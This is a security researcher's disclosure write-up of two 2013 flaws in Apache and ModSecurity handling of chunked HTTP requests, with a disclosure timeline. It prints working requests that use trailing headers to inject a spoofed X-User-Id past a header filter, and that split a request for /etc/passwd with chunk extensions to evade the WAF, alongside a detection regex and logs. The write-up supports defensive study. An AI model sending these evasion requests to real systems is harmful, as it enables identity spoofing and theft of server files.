Chunked HTTP transfer encoding
Back in the days before websockets, and even XHR, something called Chunked encoding or chunked http responses were used to achieve a server->client callback. I once wrote a chat server, based on the following concept; the client loads resources from a common webserver, a.chatserver.com, which also sets its domain to chatserver.com. That page also loads a script from b.chatserver.com. That script also sets its domain to chatserver.com - just to clear any SOP issues. At b.chatserver.com, we had a tcp server listening, which allowed us to keep an open tcp socket towards the client, and could use to send javascript snippets, for example messageReceived('foobar')
By using chunked responses, the actual tcp traffic would look something like this:
HTTP 200 OK
Transfer-Encoding: chunked
20
document.domain='chatserver.com'
.. some time later ...
FA
messageReceived('hello');
As far as I can tell, this is designed mostly just as a mechanism to allow a server to stream data to a client. I don't know to what extent a browser has ever been coerced into sending chunked requests to a server. However, the protocol defines this as a bi-directional mechanism, it can be used by the client as well as the server.
Diving into chunked HTTP requests
For whatever reason, I happened to check out the source code for a part of Netty, the HttpChunkAggregator. The way Netty does things is that it has various handlers for upstream or downstream traffic, organised throgh a pipe, and one of these handlers can unchunk http requests that arrive in chunks.
I came across this piece of code:
if (chunk.isLast()) {
this.currentMessage = null;
// Merge trailing headers into the message.
if (chunk instanceof HttpChunkTrailer) {
HttpChunkTrailer trailer = (HttpChunkTrailer) chunk;
for (Entry<String, String> header: trailer.getHeaders()) {
currentMessage.setHeader(header.getKey(), header.getValue());
}
}
After some googling and protocol reading, I found out that http headers can be sent after the http body. This could be a valid HTTP-request
POST /test.php HTTP/1.1
User-Agent: Fooo
Host: bar
Transfer-Encoding: chunked
4
Test
0
User-Agent: Bar
Evil-header: foobar
So, apparently, this is the protocol definition, as per RFC 2616
Chunked-Body = *chunk
last-chunk
trailer
CRLF
chunk = chunk-size [ chunk-extension ] CRLF
chunk-data CRLF
chunk-size = 1*HEX
last-chunk = 1*("0") [ chunk-extension ] CRLF
chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token | quoted-string
chunk-data = chunk-size(OCTET)
trailer = *(entity-header CRLF)
Also, the RFC says:
All HTTP/1.1 applications MUST be able to receive and decode the "chunked" transfer-coding, and MUST ignore chunk-extension extensions they do not understand.
Filter bypass 1 (CVE-2013-5704)
Many applications reside behind some kind of gateway, often a load balancer or SSL-termination point. I've seen, on several occasions, that this gateway handles authentication, and dispatches the request to other internal machines after adding a few headers. These headers could for example denote who the user is, or what role he/she has.
X-User-Id: 123123123
In many such solutions, there is also a filtering mechanism, to ensure that a remote attacker is unable to inject his own headers, thus for example assigning himself arbitrary user accounts. Can we use trailing headers to inject headers, and bypass such filtering?
To test that, I installed the latest apache+php version. In my Apache config, I used mod_headers to be able to unset headers
RequestHeader unset Removeme
I also wrote a simple php script that just prints out the received heades. First, a simple test:
POST /test.php HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Removeme: willbegone
3
x=a
0
X-user-id: foobar
Result:
Host localhost.me
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type application/x-www-form-urlencoded
Transfer-Encoding chunked
X-user-id foobar
So, obviously, the filter works, and the trailing headers work. Now, can we bypass the filter?
POST /test.php HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Removeme: willbegone
3
x=a
0
X-user-id: foobar
Removeme: noyouwont
Result:
Host localhost.me
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type application/x-www-form-urlencoded
Transfer-Encoding chunked
X-user-id foobar
Removeme noyouwont
Filter bypass #2 (CVE-2013-5705)
Another thing that struck me were the chunk extensions. Those can be used to masquerade the true content going over the wire, potentially sailing straight through WAFs and IDS's that do not bother to 'wait out' the chunked request. By splitting the malicious payload, and injecting chunk extensions (which MUST be ignored - remember), a payload like
evil=hahaha
can be turned into:
4;foo=bar
evil
1;foo=bbb
=
1;fooxbazonk
h
1;zxczxczxc
a
1;yadadada
h
1;hrrmph
a
So, I went ahead and installed ModSecurity with CRS (core rule set). The following rules were activated:
martin@lenovox2:/usr/share/modsecurity-crs/activated_rules
$ ls
modsecurity_35_bad_robots.data modsecurity_crs_41_sql_injection_attacks.conf
modsecurity_35_scanners.data modsecurity_crs_41_xss_attacks.conf
modsecurity_40_generic_attacks.data modsecurity_crs_42_comment_spam.conf
modsecurity_41_sql_injection_attacks.data modsecurity_crs_42_tight_security.conf
modsecurity_42_comment_spam.data modsecurity_crs_45_trojans.conf
modsecurity_50_outbound.data modsecurity_crs_47_common_exceptions.conf
modsecurity_50_outbound_malware.data modsecurity_crs_48_local_exceptions.conf.example
modsecurity_crs_20_protocol_violations.conf modsecurity_crs_49_inbound_blocking.conf
modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_50_outbound.conf
modsecurity_crs_23_request_limits.conf modsecurity_crs_59_outbound_blocking.conf
modsecurity_crs_30_http_policy.conf modsecurity_crs_60_correlation.conf
modsecurity_crs_35_bad_robots.conf README
modsecurity_crs_40_generic_attacks.conf
Testing that the ruleset is activated and blocks a naive attack:
POST /test.php? HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
secret_file=/etc/passwd
Result in logfile:
Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:secret_file. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5, SQLi=, XSS=): Remote File Access Attempt"]
Apache-Handler: application/x-httpd-php
Stopwatch: 1378322897017422 11403 (- - -)
Stopwatch2: 1378322897017422 11403; combined=8484, p1=470, p2=7386, p3=2, p4=483, p5=143, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5.
Server: Apache/2.2.22 (Ubuntu)
Attempt to use this technique to bypass Mod Security
POST /test2.php? HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Transfer-Encoding: chunked
C;xxxaa
secret_file=
1;foobar
/
1;test
/
2;aa
et
1;bbb
c
1;aas
/
2;sd
pa
4;asd
sswd
0
Result:
Message: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_20_protocol_violations.conf"] [line "174"] [id "960012"] [rev "2.2.5"] [msg "POST request must have a Content-Length header"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "RULE_MATURITY/9"] [tag "RULE_ACCURACY/9"] [tag "https://www.owasp.org/index.php/ModSecurity_CRS_RuleID-960012"] [tag "http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5"]
Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:secret_file. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 7, SQLi=, XSS=): Remote File Access Attempt"]
Apache-Error: [file "/build/buildd/php5-5.4.9/sapi/apache2handler/sapi_apache2.c"] [line 332] [level 3] script '/var/www/test2.php' not found or unable to stat
Apache-Handler: application/x-httpd-php
Stopwatch: 1378323543302508 9369 (- - -)
Stopwatch2: 1378323543302508 9369; combined=8301, p1=504, p2=7365, p3=2, p4=298, p5=131, sr=57, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5.
Server: Apache/2.2.22 (Ubuntu)
So, obviously I'm not discovering a new attack here, mod security already knows how to handle chunked requests. Nice job! However, I couldn't just stop there. I downloaded the source code for ModSecurity and did a simple ack-grep for 'chunked', and saw this snippet:
apache2/modsecurity.c
295: msr->reqbody_chunked = 0;
298: /* There's no C-L, but is chunked encoding used? */
300: if ((transfer_encoding != NULL)&&(strstr(transfer_encoding, "chunked") != NULL)) {
302: msr->reqbody_chunked = 1;
So, it appears that a string comparison against the string 'chunked' is used. However, webservers such as apache are generally very forgiving when parsing headers, and are often case insensitive. So, a really simple refinement:
POST /test.php? HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: Chunked
C;xxxaa
secret_file=
1;foobar
/
1;test
/
2;aa
et
1;bbb
c
1;aas
/
2;sd
pa
4;asd
sswd
0
Result:
--c46b8404-H--
Message: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_20_protocol_violations.conf"] [line "174"] [id "960012"] [rev "2.2.5"] [msg "POST request must have a Content-Length header"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "RULE_MATURITY/9"] [tag "RULE_ACCURACY/9"] [tag "https://www.owasp.org/index.php/ModSecurity_CRS_RuleID-960012"] [tag "http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5"]
Message: Warning. Operator LT matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "33"] [id "981203"] [msg "Inbound Anomaly Score (Total Inbound Score: 2, SQLi=, XSS=): POST request must have a Content-Length header"]
Apache-Handler: application/x-httpd-php
Stopwatch: 1378324900277996 7897 (- - -)
Stopwatch2: 1378324900277996 7897; combined=6542, p1=526, p2=5519, p3=2, p4=342, p5=153, sr=67, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5.
Server: Apache/2.2.22 (Ubuntu)
--c46b8404-Z--
Lo and behold, now it just complains about missing content-length, the score now down at 2 - it totally misses our ‘Remote File Access Attempt’.
Also, the rule seems to be deprecated and subject for removal. ServerFault:
If I recall correctly, ModSecurity 1.x required POST requests to specify content length purely because it didn't support chunked request bodies (the alternative way of submitting request bodies, in which the total length is not known until the end). Chunked request bodies were incredibly rare then (we're talking years 2003, 2004) and are still rare (although some mobile devices are using them).
There are no such restrictions in ModSecurity 2.x.
[...]
Disclosure: I wrote ModSecurity.
--- Ivan Ristic
It is subject for removal from the CRS, OWASP discussion :
> - 960012: There is no real reason for ModSecurity 2.x to request
> POST request to have C-L.
> - 960013: “ModSecurity does not support chunked transfer encodings
> at this time.” – this is incorrect.
So, using chunked encoding we can bypass any/all filters (except one) and sneak basically any payload through ModSecurity.
I haven't tested any other WAFs/IDSs, so please leave a comment if you find one which falls for this simple trick, or if you know of any earlier work attacks based on these features, or if you come up with other variants to use this seldom seen protocol obscurity.
You can use this javascript playground if you want to generate chunked encoding easily.
Timeline
2013-09-05 Notified ModSecurity (security@modsecurity.org) about the problem.
2013-09-05 ModSecurity responded; will investigate/patch.
2013-09-06 Notified Apache Software Foundation about the problem.
2013-09-08 Apache responded; confirmed and looking into the issue.
2013-09-09 ModSecurity responded with patch.
2013-10-19 Apache security raised the issue on dev@httpd instead, it was “languishing on the private list”. Mail
2013-12-16 ModSecurity released version 2.7.6, with patch.
2014-03-31 Published details
Status as of february 2014
The Ubuntu-packaged version of Modsecurity is 2.7.4, both for 13.10 and earlier. This version is vulnerable.
The latest LTS server version - Ubuntu 12.04 uses Apache 2.2.22, which is vulnerable. Ubuntu 13.10 repositories contains Apache 2.4.6, which was found not to be vulnerable.
